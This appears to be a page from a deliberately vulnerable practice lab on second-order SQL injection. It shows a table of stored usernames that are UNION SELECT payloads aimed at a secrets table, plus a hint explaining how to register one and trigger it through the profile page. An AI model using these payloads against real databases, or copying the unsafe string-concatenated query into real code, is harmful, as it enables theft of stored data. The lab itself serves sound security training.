/second-order · sink: stored input -> later string-concatenated SELECT
Registration is parameterized; profile view re-uses stored input unsafely.
| id | username |
|---|---|
| 139 | test' UNION SELECT 1,@@version,3-- |
| 138 | sqli_probe' UNION SELECT version()-- - |
| 137 | ps_1791219369' UNION SELECT value FROM secrets WHERE name='sqli-second-order'# |
| 136 | thugir1791219364' UNION SELECT value FROM secrets WHERE name='sqli-second-order'# |
| 134 | thugir2nd1791218936000' UNION SELECT value FROM secrets WHERE name='sqli-second-order'# |
| 132 | attacker2 |
| 131 | testuser_sqli |
| 130 | thugir2nd1789013270710' UNION SELECT value FROM secrets WHERE name='sqli-second-order'# |
| 129 | thugir2nd1789013270637' UNION SELECT value FROM secrets WHERE name='sqli-second-order'# |
| 128 | thugirtest123' UNION SELECT value FROM secrets WHERE name='sqli-second-order'# |
| 127 | thugir2nd1789012861169' UNION SELECT value FROM secrets WHERE name='sqli-second-order'# |
| 126 | thugir2nd1789012861110' UNION SELECT value FROM secrets WHERE name='sqli-second-order'# |
| 125 | thugir2nd1789012835' UNION SELECT value FROM secrets WHERE name='sqli-second-order'# |
| 124 | testuser_thugir_1789012832 |
| 123 | thugir2nd1789010024255' UNION SELECT value FROM secrets WHERE name='sqli-second-order'# |
| 122 | thugir2nd1788952038788' UNION SELECT value FROM secrets WHERE name='sqli-second-order'# |
| 121 | thugir2nd1788945303992' UNION SELECT value FROM secrets WHERE name='sqli-second-order'# |
| 120 | thugir2nd1788945109147' UNION SELECT value FROM secrets WHERE name='sqli-second-order'# |
| 119 | thugir2nd1788945039007' UNION SELECT value FROM secrets WHERE name='sqli-second-order'# |
| 118 | thugir2nd1788919892557' UNION SELECT value FROM secrets WHERE name='sqli-second-order'# |
Register a user whose username is itself a SQL payload, e.g. ' UNION SELECT value FROM secrets WHERE name='sqli-second-order'# (use # not `-- ` because the register handler strips trailing whitespace). Then visit /second-order/profile?id=<your new id> — the profile page joins notes by username via string concatenation, and your stored payload finally fires.